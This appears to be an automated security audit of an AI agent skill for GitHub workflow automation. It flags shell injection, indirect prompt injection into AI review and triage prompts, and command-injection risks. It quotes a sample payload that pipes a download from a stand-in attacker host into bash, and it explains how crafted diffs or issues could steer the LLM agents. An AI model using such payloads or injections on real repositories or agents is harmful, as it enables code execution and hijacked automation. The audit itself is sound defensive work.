skills/sebas-aikon-intelligence/antigravity-awesome-skills/github-workflow-automation/Gen Agent Trust Hub
github-workflow-automation
Fail
Audited by Gen Agent Trust Hub on Sep 29, 2026
Risk Level: HIGHCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTIONREMOTE_CODE_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The AI Mention Bot workflow (
mention-bot.yml) contains a shell injection vulnerability. The commandquestion=$(echo "${{ github.event.comment.body }}" | sed 's/.*@ai-helper//')directly interpolates the user's comment into a shell script. An attacker can craft a comment like"; curl http://attacker.com/exploit | bash; #"to execute arbitrary commands on the GitHub Actions runner. - [INDIRECT_PROMPT_INJECTION]: Multiple workflows ingest untrusted data from the repository environment without sanitization or boundary markers:
- In
ai-review.yml, thegit diffoutput and file list are interpolated directly into the LLM prompt. An attacker could commit files containing instructions to subvert the review process. - In
issue-triage.yml, the issue title and body are interpolated intoTRIAGE_PROMPT. Malicious issue content could influence the labeling or cause the agent to perform unintended actions via thegithub-scriptcapabilities. - Ingestion points:
github.event.comment.body,git diffoutput,issue.title,issue.body. - Boundary markers: Absent in all prompt interpolation examples.
- Capability inventory: The workflows possess broad capabilities including
pull-requests: write,issues: write,git push --force-with-lease, and the ability to add labels or comments. - Sanitization: No escaping or filtering is applied to external content before it is processed by the AI.
- [DYNAMIC_EXECUTION]: The
smartCherryPicklogic in section 4.2 uses anexec()function to run shell commands constructed with variables likecommitHashandtargetBranch. If these variables are sourced from untrusted user input (such as PR comments), it represents a command injection risk. - [REMOTE_CODE_EXECUTION]: The PR Review workflow dynamically requires the
@anthropic-ai/sdkpackage and executes logic viaactions/github-script. While the package is standard, the lack of input validation for the data sent to the client (the diff) allows an attacker to control the 'user' role content in the message creation call.
Recommendations
- AI detected serious security threats
Audit Metadata